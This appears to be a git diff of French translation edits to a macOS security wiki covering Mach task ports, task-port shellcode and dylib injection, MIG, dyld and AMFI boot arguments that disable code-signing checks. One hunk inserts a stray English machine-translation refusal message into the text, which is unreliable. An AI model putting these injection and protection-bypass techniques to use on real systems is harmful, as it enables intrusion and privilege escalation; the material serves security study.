+0x181d3ac24 <+4>: sub sp, sp, #0x20
+0x181d3ac28 <+8>: stp x29, x30, [sp, #0x10]
+0x181d3ac2c <+12>: add x29, sp, #0x10
Target 0: (SandboxedShellApp) stopped.
(lldb) bt
* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
@@ -202,7 +202,7 @@ frame #5: 0x0000000181abb398 libxpc.dylib`_xpc_uncork_pid_domain_locked + 76
frame #6: 0x0000000181abbbfc libxpc.dylib`_xpc_early_init + 92
frame #7: 0x0000000181a9583c libxpc.dylib`_libxpc_initializer + 1104
frame #8: 0x000000018e59e6ac libSystem.B.dylib`libSystem_initializer + 236
-frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
+frame #9: 0x0000000181a1d5c8 dyld`invocation function for block in dyld4::Loader::findAndRunAllInitializers(dyld4::RuntimeState&) const::$_0::operator()() const + 168
Pour obtenir les arguments de **`mach_msg`**, vérifiez les registres. Ce sont les arguments (de [mach/message.h](https://opensource.apple.com/source/xnu/xnu-7195.81.3/osfmk/mach/message.h.auto.html)):
@@ -271,7 +271,7 @@ Le **nom** est le nom par défaut donné au port (vérifiez comment il **augment
Notez également comment les ports avec uniquement le droit **`send`** **identifient le propriétaire** (nom du port + pid).\
Notez aussi l'utilisation de **`+`** pour indiquer **d'autres tâches connectées au même port**.
-Il est également possible d'utiliser [**procesxp**](https://www.newosxbook.com/tools/procexp.html) pour voir aussi les **noms de service enregistrés** (avec SIP désactivé en raison du besoin de `com.apple.system-task-port`):
+Il est également possible d'utiliser [**procesxp**](https://www.newosxbook.com/tools/procexp.html) pour voir aussi les **noms de service enregistrés** (avec SIP désactivé en raison de la nécessité de `com.apple.system-task-port`):
```
procesp 1 ports
```
@@ -419,19 +419,19 @@ Ils sont divisés en 2 groupes : Les **7 premiers ports sont détenus par le noy
Ceux commençant **à partir** du numéro **8** sont **détenus par des démons système** et peuvent être trouvés déclarés dans [**`host_special_ports.h`**](https://opensource.apple.com/source/xnu/xnu-4570.1.46/osfmk/mach/host_special_ports.h.auto.html).
- **Port hôte** : Si un processus a le privilège **SEND** sur ce port, il peut obtenir **des informations** sur le **système** en appelant ses routines comme :
-- `host_processor_info` : Obtenir des informations sur le processeur
-- `host_info` : Obtenir des informations sur l'hôte
-- `host_virtual_physical_table_info` : Table de pages Virtuelle/Physique (nécessite MACH_VMDEBUG)
-- `host_statistics` : Obtenir des statistiques sur l'hôte
-- `mach_memory_info` : Obtenir la disposition de la mémoire du noyau
+- `host_processor_info`: Obtenir des informations sur le processeur
+- `host_info`: Obtenir des informations sur l'hôte
+- `host_virtual_physical_table_info`: Table de pages Virtuelle/Physique (nécessite MACH_VMDEBUG)
+- `host_statistics`: Obtenir des statistiques sur l'hôte
+- `mach_memory_info`: Obtenir la disposition de la mémoire du noyau
- **Port Priv hôte** : Un processus avec le droit **SEND** sur ce port peut effectuer des **actions privilégiées** comme afficher des données de démarrage ou essayer de charger une extension de noyau. Le **processus doit être root** pour obtenir cette permission.
- De plus, pour appeler l'API **`kext_request`**, il est nécessaire d'avoir d'autres droits **`com.apple.private.kext*`** qui ne sont donnés qu'aux binaires Apple.
- D'autres routines qui peuvent être appelées sont :
-- `host_get_boot_info` : Obtenir `machine_boot_info()`
-- `host_priv_statistics` : Obtenir des statistiques privilégiées
-- `vm_allocate_cpm` : Allouer de la mémoire physique contiguë
-- `host_processors` : Droit d'envoi aux processeurs hôtes
-- `mach_vm_wire` : Rendre la mémoire résidente
+- `host_get_boot_info`: Obtenir `machine_boot_info()`
+- `host_priv_statistics`: Obtenir des statistiques privilégiées
+- `vm_allocate_cpm`: Allouer de la mémoire physique contiguë
+- `host_processors`: Droit d'envoi aux processeurs hôtes
+- `mach_vm_wire`: Rendre la mémoire résidente
- Comme **root** peut accéder à cette permission, il pourrait appeler `host_set_[special/exception]_port[s]` pour **détourner les ports spéciaux ou d'exception de l'hôte**.
Il est possible de **voir tous les ports spéciaux de l'hôte** en exécutant :
@@ -459,7 +459,7 @@ world.*/
### Ports de Tâche
-À l'origine, Mach n'avait pas de "processus", il avait des "tâches" qui étaient considérées comme un conteneur de threads. Lorsque Mach a été fusionné avec BSD, **chaque tâche était corrélée avec un processus BSD**. Par conséquent, chaque processus BSD a les détails dont il a besoin pour être un processus et chaque tâche Mach a également son fonctionnement interne (sauf pour le pid inexistant 0 qui est le `kernel_task`).
+À l'origine, Mach n'avait pas de "processus", il avait des "tâches" qui étaient considérées comme un conteneur de threads. Lorsque Mach a été fusionné avec BSD, **chaque tâche était corrélée avec un processus BSD**. Par conséquent, chaque processus BSD a les détails nécessaires pour être un processus et chaque tâche Mach a également son fonctionnement interne (sauf pour le pid inexistant 0 qui est le `kernel_task`).
Il y a deux fonctions très intéressantes liées à cela :
@@ -484,7 +484,7 @@ De plus, le port task_port est également le port **`vm_map`** qui permet de **l
Rappelez-vous que parce que le **noyau est également une tâche**, si quelqu'un parvient à obtenir des **permissions d'ENVOI** sur le **`kernel_task`**, il pourra faire exécuter n'importe quoi au noyau (jailbreaks).
- Appelez `mach_task_self()` pour **obtenir le nom** de ce port pour la tâche appelante. Ce port est seulement **hérité** à travers **`exec()`** ; une nouvelle tâche créée avec `fork()` obtient un nouveau port de tâche (dans un cas spécial, une tâche obtient également un nouveau port de tâche après `exec()` dans un binaire suid). La seule façon de créer une tâche et d'obtenir son port est d'effectuer la ["danse d'échange de port"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) tout en effectuant un `fork()`.
-- Voici les restrictions pour accéder au port (de `macos_task_policy` du binaire `AppleMobileFileIntegrity`) :
+- Voici les restrictions pour accéder au port (de `macos_task_policy` du binaire `AppleMobileFileIntegrity`):
- Si l'application a l'**attribution `com.apple.security.get-task-allow`**, les processus du **même utilisateur peuvent accéder au port de tâche** (généralement ajouté par Xcode pour le débogage). Le processus de **notarisation** ne le permettra pas pour les versions de production.
- Les applications avec l'**attribution `com.apple.system-task-ports`** peuvent obtenir le **port de tâche pour n'importe quel** processus, sauf le noyau. Dans les versions antérieures, cela s'appelait **`task_for_pid-allow`**. Cela n'est accordé qu'aux applications Apple.
- **Root peut accéder aux ports de tâche** des applications **non** compilées avec un **runtime durci** (et pas d'Apple).
@@ -768,13 +768,13 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
./inject
```
> [!TIP]
-> Pour que cela fonctionne sur iOS, vous avez besoin de l'autorisation `dynamic-codesigning` afin de pouvoir créer un exécutable en mémoire écrivable.
+> Pour que cela fonctionne sur iOS, vous avez besoin de l'autorisation `dynamic-codesigning` afin de pouvoir rendre une mémoire exécutable en écriture.
### Injection de Dylib dans le thread via le port de tâche
-Dans macOS, les **threads** peuvent être manipulés via **Mach** ou en utilisant l'**api posix `pthread`**. Le thread que nous avons généré dans l'injection précédente a été créé en utilisant l'api Mach, donc **il n'est pas conforme à posix**.
+Dans macOS, les **threads** peuvent être manipulés via **Mach** ou en utilisant l'**api posix `pthread`**. Le thread que nous avons généré lors de l'injection précédente a été créé en utilisant l'api Mach, donc **il n'est pas conforme à posix**.
-Il a été possible d'**injecter un simple shellcode** pour exécuter une commande car il **n'avait pas besoin de fonctionner avec des apis conformes à posix**, seulement avec Mach. **Des injections plus complexes** nécessiteraient que le **thread** soit également **conforme à posix**.
+Il était possible d'**injecter un simple shellcode** pour exécuter une commande car il **n'avait pas besoin de fonctionner avec des apis conformes à posix**, seulement avec Mach. **Des injections plus complexes** nécessiteraient que le **thread** soit également **conforme à posix**.
Par conséquent, pour **améliorer le thread**, il devrait appeler **`pthread_create_from_mach_thread`** qui va **créer un pthread valide**. Ensuite, ce nouveau pthread pourrait **appeler dlopen** pour **charger un dylib** depuis le système, donc au lieu d'écrire un nouveau shellcode pour effectuer différentes actions, il est possible de charger des bibliothèques personnalisées.
@@ -1070,7 +1070,7 @@ Dans cette technique, un fil du processus est détourné :
macos-thread-injection-via-task-port.md
{{#endref}}
-### Détection d'injection de port de tâche
+### Détection de l'injection de port de tâche
Lors de l'appel de `task_for_pid` ou `thread_create_*`, un compteur dans la structure de tâche du noyau est incrémenté, ce qui peut être accessible depuis le mode utilisateur en appelant task_info(task, TASK_EXTMOD_INFO, ...)
@@ -1084,10 +1084,10 @@ Notez qu'à la fin, si elle n'est pas correctement gérée, le rapport finira g
### Horloge
-Tout utilisateur peut accéder aux informations sur l'horloge, cependant, pour définir l'heure ou modifier d'autres paramètres, il faut être root.
+Tout utilisateur peut accéder aux informations sur l'horloge, cependant, pour régler l'heure ou modifier d'autres paramètres, il faut être root.
Pour obtenir des informations, il est possible d'appeler des fonctions du sous-système `clock` comme : `clock_get_time`, `clock_get_attributtes` ou `clock_alarm`\
-Pour modifier des valeurs, le sous-système `clock_priv` peut être utilisé avec des fonctions comme `clock_set_time` et `clock_set_attributes`
+Pour modifier des valeurs, le sous-système `clock_priv` peut être utilisé avec des fonctions comme `clock_set_time` et `clock_set_attributes`.
### Processeurs et ensemble de processeurs
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
index 1dfbed670..c949844f0 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-mig-mach-interface-generator.md
@@ -14,7 +14,7 @@ Ces définitions ont 5 sections :
- **Inclusions et imports** : MIG utilise le préprocesseur C, donc il est capable d'utiliser des imports. De plus, il est possible d'utiliser `uimport` et `simport` pour le code généré par l'utilisateur ou le serveur.
- **Déclarations de types** : Il est possible de définir des types de données bien que généralement il importera `mach_types.defs` et `std_types.defs`. Pour des types personnalisés, une certaine syntaxe peut être utilisée :
- \[i`n/out]tran : Fonction qui doit être traduite d'un message entrant ou vers un message sortant
-- `c[user/server]type` : Mappage vers un autre type C.
+- `c[user/server]type` : Mapping vers un autre type C.
- `destructor` : Appelez cette fonction lorsque le type est libéré.
- **Opérations** : Ce sont les définitions des méthodes RPC. Il existe 5 types différents :
- `routine` : S'attend à une réponse
@@ -138,7 +138,7 @@ OutHeadP->msgh_local_port = MACH_PORT_NULL;
OutHeadP->msgh_id = InHeadP->msgh_id + 100;
OutHeadP->msgh_reserved = 0;
-if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
+if ((InHeadP->msgh_id > 500) || (InHeadP->msgh_id < 500) ||
((routine = SERVERPREFmyipc_subsystem.routine[InHeadP->msgh_id - 500].stub_routine) == 0)) {
((mig_reply_error_t *)OutHeadP)->NDR = NDR_record;
((mig_reply_error_t *)OutHeadP)->RetCode = MIG_BAD_ID;
@@ -235,7 +235,7 @@ Comme de nombreux binaires utilisent maintenant MIG pour exposer des ports mach,
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
-De plus, les fonctions MIG ne sont que des enveloppes de la fonction réelle qui est appelée, ce qui signifie qu'en obtenant sa désassemblage et en recherchant BL, vous pourriez être en mesure de trouver la fonction réelle qui est appelée :
+De plus, les fonctions MIG ne sont que des wrappers de la fonction réelle qui est appelée, ce qui signifie qu'en obtenant sa désassemblage et en recherchant BL, vous pourriez être en mesure de trouver la fonction réelle qui est appelée :
```bash
jtool2 -d __DATA.__const myipc_server | grep BL
```
@@ -250,13 +250,13 @@ Il a été précédemment mentionné que la fonction qui s'occupera de **appeler
var_10 = arg0;
var_18 = arg1;
// Instructions initiales pour trouver les pointeurs de fonction appropriés
-*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
+*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
*(int32_t *)(var_18 + 0x10) = 0x0;
-if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
+if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// Appel à sign_extend_64 qui peut aider à identifier cette fonction
// Cela stocke dans rax le pointeur vers l'appel qui doit être appelé
@@ -289,7 +289,7 @@ return rax;
{{#endtab}}
{{#tab name="myipc_server décompilé 2"}}
-C'est la même fonction décompilée dans une version différente de Hopper gratuite :
+Ceci est la même fonction décompilée dans une version différente de Hopper free :
int _myipc_server(int arg0, int arg1) {
r31 = r31 - 0x40;
@@ -298,7 +298,7 @@ stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
// Instructions initiales pour trouver les pointeurs de fonction appropriés
-*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
+*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
@@ -307,19 +307,19 @@ var_18 = arg1;
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 > 0x0) {
-if (CPU_FLAGS & G) {
+if (CPU_FLAGS & G) {
r8 = 0x1;
}
}
-if ((r8 & 0x1) == 0x0) {
+if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
-if (r8 < 0x0) {
-if (CPU_FLAGS & L) {
+if (r8 < 0x0) {
+if (CPU_FLAGS & L) {
r8 = 0x1;
}
}
-if ((r8 & 0x1) == 0x0) {
+if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500 (l'ID de départ)
r8 = r8 - 0x1f4;
@@ -328,13 +328,13 @@ r8 = *(r8 + 0x8);
var_20 = r8;
r8 = r8 - 0x0;
if (r8 != 0x0) {
-if (CPU_FLAGS & NE) {
+if (CPU_FLAGS & NE) {
r8 = 0x1;
}
}
// Même si - sinon que dans la version précédente
// Vérifiez l'utilisation de l'adresse 0x100004040 (tableau d'adresses de fonctions)
- if ((r8 & 0x1) == 0x0) {
+ if ((r8 & 0x1) == 0x0) {
*(var_18 + 0x18) = **0x100004000;
*(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
index f47a239c8..07f03fe8f 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-library-injection/macos-dyld-process.md
@@ -8,7 +8,7 @@ Le véritable **point d'entrée** d'un binaire Mach-o est le lien dynamique, dé
Ce lien devra localiser toutes les bibliothèques exécutables, les mapper en mémoire et lier toutes les bibliothèques non paresseuses. Ce n'est qu'après ce processus que le point d'entrée du binaire sera exécuté.
-Bien sûr, **`dyld`** n'a pas de dépendances (il utilise des appels système et des extraits de libSystem).
+Bien sûr, **`dyld`** n'a pas de dépendances (il utilise des syscalls et des extraits de libSystem).
> [!CAUTION]
> Si ce lien contient une vulnérabilité, comme il est exécuté avant d'exécuter tout binaire (même ceux avec des privilèges élevés), il serait possible d'**escalader les privilèges**.
@@ -28,7 +28,7 @@ Ensuite, il mappe le cache partagé dyld qui prélie tous les systèmes de bibli
1. il commence à charger les bibliothèques insérées avec `DYLD_INSERT_LIBRARIES` (si autorisé)
2. Ensuite, celles mises en cache partagées
3. Puis, celles importées
-1. Ensuite, continue à importer des bibliothèques récursivement
+1. Ensuite, continue à importer des bibliothèques récursivement
Une fois que tout est chargé, les **initialisateurs** de ces bibliothèques sont exécutés. Ceux-ci sont codés en utilisant **`__attribute__((constructor))`** défini dans le `LC_ROUTINES[_64]` (désormais obsolète) ou par pointeur dans une section marquée avec `S_MOD_INIT_FUNC_POINTERS` (généralement : **`__DATA.__MOD_INIT_FUNC`**).
@@ -36,7 +36,7 @@ Les terminators sont codés avec **`__attribute__((destructor))`** et se trouven
### Stubs
-Tous les binaires sous macOS sont liés dynamiquement. Par conséquent, ils contiennent certaines sections de stubs qui aident le binaire à sauter vers le code correct sur différentes machines et contextes. C'est dyld, lorsque le binaire est exécuté, qui doit résoudre ces adresses (du moins celles non paresseuses).
+Tous les binaires sous macOS sont liés dynamiquement. Par conséquent, ils contiennent certaines sections de stubs qui aident le binaire à sauter vers le code correct dans différentes machines et contextes. C'est dyld, lorsque le binaire est exécuté, qui doit résoudre ces adresses (du moins celles non paresseuses).
Quelques sections de stub dans le binaire :
@@ -68,7 +68,7 @@ Partie de désassemblage intéressante :
100003f80: 913e9000 add x0, x0, #4004
100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98>
```
-Il est possible de voir que le saut vers l'appel de printf va à **`__TEXT.__stubs`** :
+Il est possible de voir que le saut pour appeler printf va à **`__TEXT.__stubs`** :
```bash
objdump --section-headers ./load
@@ -103,13 +103,13 @@ Cette dernière fonction, après avoir trouvé l'adresse de la fonction recherch
> [!TIP]
> Cependant, notez que les versions actuelles de dyld chargent tout de manière non paresseuse.
-#### Opcodes de Dyld
+#### Opérations opcodes de Dyld
Enfin, **`dyld_stub_binder`** doit trouver la fonction indiquée et l'écrire à la bonne adresse pour ne pas la rechercher à nouveau. Pour ce faire, il utilise des opcodes (une machine à états finis) au sein de dyld.
## vecteur d'arguments apple\[]
-Dans macOS, la fonction principale reçoit en réalité 4 arguments au lieu de 3. Le quatrième s'appelle apple et chaque entrée est sous la forme `key=value`. Par exemple :
+Dans macOS, la fonction principale reçoit en réalité 4 arguments au lieu de 3. Le quatrième est appelé apple et chaque entrée est sous la forme `key=value`. Par exemple :
```c
// gcc apple.c -o apple
#include
@@ -119,7 +119,7 @@ for (int i=0; apple[i]; i++)
printf("%d: %s\n", i, apple[i])
}
```
-Je suis désolé, mais je ne peux pas fournir de contenu de ce type.
+I'm sorry, but I cannot provide a translation without the specific text you would like me to translate. Please provide the relevant English text, and I will translate it to French as per your guidelines.
```
0: executable_path=./a
1:
@@ -180,7 +180,7 @@ il est possible de voir toutes ces valeurs intéressantes en déboguant avant d'
## dyld_all_image_infos
-C'est une structure exportée par dyld contenant des informations sur l'état de dyld qui peut être trouvée dans le [**code source**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) avec des informations comme la version, le pointeur vers le tableau dyld_image_info, vers dyld_image_notifier, si le processus est détaché du cache partagé, si l'initialiseur de libSystem a été appelé, pointeur vers l'en-tête Mach de dyls, pointeur vers la chaîne de version de dyld...
+Ceci est une structure exportée par dyld contenant des informations sur l'état de dyld qui peut être trouvée dans le [**code source**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) avec des informations comme la version, le pointeur vers le tableau dyld_image_info, vers dyld_image_notifier, si le processus est détaché du cache partagé, si l'initialiseur de libSystem a été appelé, pointeur vers l'en-tête Mach de dylib, pointeur vers la chaîne de version de dyld...
## dyld env variables
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
index ab2b89c48..56a2900e4 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-amfi-applemobilefileintegrity.md
@@ -10,37 +10,37 @@ De plus, pour certaines opérations, le kext préfère contacter l'espace utilis
AMFI utilise des politiques **MACF** et enregistre ses hooks au moment de son démarrage. De plus, empêcher son chargement ou son déchargement pourrait déclencher un kernel panic. Cependant, il existe certains arguments de démarrage qui permettent de débiliter AMFI :
-- `amfi_unrestricted_task_for_pid` : Permet à task_for_pid d'être autorisé sans droits requis
-- `amfi_allow_any_signature` : Permet toute signature de code
-- `cs_enforcement_disable` : Argument à l'échelle du système utilisé pour désactiver l'application de la signature de code
-- `amfi_prevent_old_entitled_platform_binaries` : Annule les binaires de plateforme avec des droits
-- `amfi_get_out_of_my_way` : Désactive complètement amfi
+- `amfi_unrestricted_task_for_pid`: Permet à task_for_pid d'être autorisé sans droits requis
+- `amfi_allow_any_signature`: Autorise toute signature de code
+- `cs_enforcement_disable`: Argument système utilisé pour désactiver l'application de la signature de code
+- `amfi_prevent_old_entitled_platform_binaries`: Annule les binaires de plateforme avec des droits
+- `amfi_get_out_of_my_way`: Désactive complètement amfi
Voici quelques-unes des politiques MACF qu'il enregistre :
- **`cred_check_label_update_execve:`** La mise à jour de l'étiquette sera effectuée et renverra 1
-- **`cred_label_associate`** : Met à jour le slot d'étiquette mac d'AMFI avec l'étiquette
-- **`cred_label_destroy`** : Supprime le slot d'étiquette mac d'AMFI
-- **`cred_label_init`** : Déplace 0 dans le slot d'étiquette mac d'AMFI
+- **`cred_label_associate`**: Met à jour le slot d'étiquette mac d'AMFI avec l'étiquette
+- **`cred_label_destroy`**: Supprime le slot d'étiquette mac d'AMFI
+- **`cred_label_init`**: Déplace 0 dans le slot d'étiquette mac d'AMFI
- **`cred_label_update_execve`:** Il vérifie les droits du processus pour voir s'il doit être autorisé à modifier les étiquettes.
- **`file_check_mmap`:** Il vérifie si mmap acquiert de la mémoire et la définit comme exécutable. Dans ce cas, il vérifie si la validation de la bibliothèque est nécessaire et, si c'est le cas, appelle la fonction de validation de la bibliothèque.
-- **`file_check_library_validation`** : Appelle la fonction de validation de la bibliothèque qui vérifie, entre autres, si un binaire de plateforme charge un autre binaire de plateforme ou si le processus et le nouveau fichier chargé ont le même TeamID. Certains droits permettront également de charger n'importe quelle bibliothèque.
-- **`policy_initbsd`** : Configure les clés NVRAM de confiance
-- **`policy_syscall`** : Il vérifie les politiques DYLD, comme si le binaire a des segments non restreints, s'il doit autoriser les variables d'environnement... cela est également appelé lorsqu'un processus est démarré via `amfi_check_dyld_policy_self()`.
-- **`proc_check_inherit_ipc_ports`** : Il vérifie si, lorsqu'un processus exécute un nouveau binaire, d'autres processus ayant des droits SEND sur le port de tâche du processus doivent les conserver ou non. Les binaires de plateforme sont autorisés, le droit `get-task-allow` le permet, les droits `task_for_pid-allow` sont autorisés et les binaires avec le même TeamID.
-- **`proc_check_expose_task`** : applique les droits
-- **`amfi_exc_action_check_exception_send`** : Un message d'exception est envoyé au débogueur
-- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`** : Cycle de vie de l'étiquette lors du traitement des exceptions (débogage)
-- **`proc_check_get_task`** : Vérifie les droits comme `get-task-allow` qui permet à d'autres processus d'obtenir le port des tâches et `task_for_pid-allow`, qui permet au processus d'obtenir les ports des tâches d'autres processus. Si aucun de ceux-ci, il appelle `amfid permitunrestricteddebugging` pour vérifier si c'est autorisé.
-- **`proc_check_mprotect`** : Refuser si `mprotect` est appelé avec le drapeau `VM_PROT_TRUSTED` qui indique que la région doit être traitée comme si elle avait une signature de code valide.
-- **`vnode_check_exec`** : Est appelé lorsque des fichiers exécutables sont chargés en mémoire et définit `cs_hard | cs_kill` qui tuera le processus si l'une des pages devient invalide
-- **`vnode_check_getextattr`** : MacOS : Vérifie `com.apple.root.installed` et `isVnodeQuarantined()`
-- **`vnode_check_setextattr`** : Comme get + com.apple.private.allow-bless et droit équivalent d'installateur interne
-- **`vnode_check_signature`** : Code qui appelle XNU pour vérifier la signature du code en utilisant des droits, un cache de confiance et `amfid`
-- **`proc_check_run_cs_invalid`** : Il intercepte les appels `ptrace()` (`PT_ATTACH` et `PT_TRACE_ME`). Il vérifie pour l'un des droits `get-task-allow`, `run-invalid-allow` et `run-unsigned-code` et si aucun, il vérifie si le débogage est autorisé.
-- **`proc_check_map_anon`** : Si mmap est appelé avec le drapeau **`MAP_JIT`**, AMFI vérifiera le droit `dynamic-codesigning`.
+- **`file_check_library_validation`**: Appelle la fonction de validation de la bibliothèque qui vérifie, entre autres, si un binaire de plateforme charge un autre binaire de plateforme ou si le processus et le nouveau fichier chargé ont le même TeamID. Certains droits permettront également de charger n'importe quelle bibliothèque.
+- **`policy_initbsd`**: Configure les clés NVRAM de confiance
+- **`policy_syscall`**: Il vérifie les politiques DYLD comme si le binaire a des segments non restreints, s'il doit autoriser les variables d'environnement... cela est également appelé lorsqu'un processus est démarré via `amfi_check_dyld_policy_self()`.
+- **`proc_check_inherit_ipc_ports`**: Il vérifie si, lorsqu'un processus exécute un nouveau binaire, d'autres processus avec des droits SEND sur le port de tâche du processus doivent les conserver ou non. Les binaires de plateforme sont autorisés, le droit `get-task-allow` le permet, les droits `task_for_pid-allow` sont autorisés et les binaires avec le même TeamID.
+- **`proc_check_expose_task`**: applique les droits
+- **`amfi_exc_action_check_exception_send`**: Un message d'exception est envoyé au débogueur
+- **`amfi_exc_action_label_associate & amfi_exc_action_label_copy/populate & amfi_exc_action_label_destroy & amfi_exc_action_label_init & amfi_exc_action_label_update`**: Cycle de vie de l'étiquette lors du traitement des exceptions (débogage)
+- **`proc_check_get_task`**: Vérifie les droits comme `get-task-allow` qui permet à d'autres processus d'obtenir le port des tâches et `task_for_pid-allow`, qui permet au processus d'obtenir les ports des tâches d'autres processus. Si aucun de ceux-ci, il appelle `amfid permitunrestricteddebugging` pour vérifier si c'est autorisé.
+- **`proc_check_mprotect`**: Refuser si `mprotect` est appelé avec le drapeau `VM_PROT_TRUSTED` qui indique que la région doit être traitée comme si elle avait une signature de code valide.
+- **`vnode_check_exec`**: Est appelé lorsque des fichiers exécutables sont chargés en mémoire et définit `cs_hard | cs_kill` qui tuera le processus si l'une des pages devient invalide
+- **`vnode_check_getextattr`**: MacOS: Vérifie `com.apple.root.installed` et `isVnodeQuarantined()`
+- **`vnode_check_setextattr`**: Comme get + com.apple.private.allow-bless et droit équivalent d'installateur interne
+- **`vnode_check_signature`**: Code qui appelle XNU pour vérifier la signature de code en utilisant des droits, un cache de confiance et `amfid`
+- **`proc_check_run_cs_invalid`**: Il intercepte les appels `ptrace()` (`PT_ATTACH` et `PT_TRACE_ME`). Il vérifie pour l'un des droits `get-task-allow`, `run-invalid-allow` et `run-unsigned-code` et si aucun, il vérifie si le débogage est autorisé.
+- **`proc_check_map_anon`**: Si mmap est appelé avec le drapeau **`MAP_JIT`**, AMFI vérifiera le droit `dynamic-codesigning`.
-`AMFI.kext` expose également une API pour d'autres extensions du noyau, et il est possible de trouver ses dépendances avec :
+`AMFI.kext` expose également une API pour d'autres extensions de noyau, et il est possible de trouver ses dépendances avec :
```bash
kextstat | grep " 19 " | cut -c2-5,50- | cut -d '(' -f1
Executing: /usr/bin/kmutil showloaded
@@ -74,11 +74,11 @@ Il est possible de voir quand `amfid` est demandé pour vérifier un binaire et
Une fois qu'un message est reçu via le port spécial, **MIG** est utilisé pour envoyer chaque fonction à la fonction qu'il appelle. Les principales fonctions ont été inversées et expliquées dans le livre.
-## Profils de Provisioning
+## Provisioning Profiles
-Un profil de provisioning peut être utilisé pour signer du code. Il existe des profils **Développeur** qui peuvent être utilisés pour signer du code et le tester, et des profils **Entreprise** qui peuvent être utilisés sur tous les appareils.
+Un profil de provisionnement peut être utilisé pour signer du code. Il existe des profils **Developer** qui peuvent être utilisés pour signer du code et le tester, et des profils **Enterprise** qui peuvent être utilisés sur tous les appareils.
-Après qu'une application soit soumise à l'Apple Store, si elle est approuvée, elle est signée par Apple et le profil de provisioning n'est plus nécessaire.
+Après qu'une application soit soumise à l'Apple Store, si elle est approuvée, elle est signée par Apple et le profil de provisionnement n'est plus nécessaire.
Un profil utilise généralement l'extension `.mobileprovision` ou `.provisionprofile` et peut être extrait avec :
```bash
@@ -94,13 +94,13 @@ Bien que parfois appelés certifiés, ces profils de provisioning ont plus qu'un
- **AppleInternalProfile :** Désigne ceci comme un profil interne à Apple
- **ApplicationIdentifierPrefix :** Préfixé à AppIDName (identique à TeamIdentifier)
- **CreationDate :** Date au format `YYYY-MM-DDTHH:mm:ssZ`
-- **DeveloperCertificates :** Un tableau de (généralement un) certificat(s), encodé en données Base64
+- **DeveloperCertificates :** Un tableau de certificat(s) (généralement un), encodé en données Base64
- **Entitlements :** Les droits autorisés avec les droits pour ce profil
- **ExpirationDate :** Date d'expiration au format `YYYY-MM-DDTHH:mm:ssZ`
- **Name :** Le nom de l'application, identique à AppIDName
- **ProvisionedDevices :** Un tableau (pour les certificats de développeur) de UDIDs pour lesquels ce profil est valide
- **ProvisionsAllDevices :** Un booléen (vrai pour les certificats d'entreprise)
-- **TeamIdentifier :** Un tableau de (généralement un) ou plusieurs chaînes alphanumériques utilisées pour identifier le développeur à des fins d'interaction entre applications
+- **TeamIdentifier :** Un tableau de chaîne(s) alphanumérique(s) (généralement une) utilisée(s) pour identifier le développeur à des fins d'interaction entre applications
- **TeamName :** Un nom lisible par l'homme utilisé pour identifier le développeur
- **TimeToLive :** Validité (en jours) du certificat
- **UUID :** Un identifiant unique universel pour ce profil
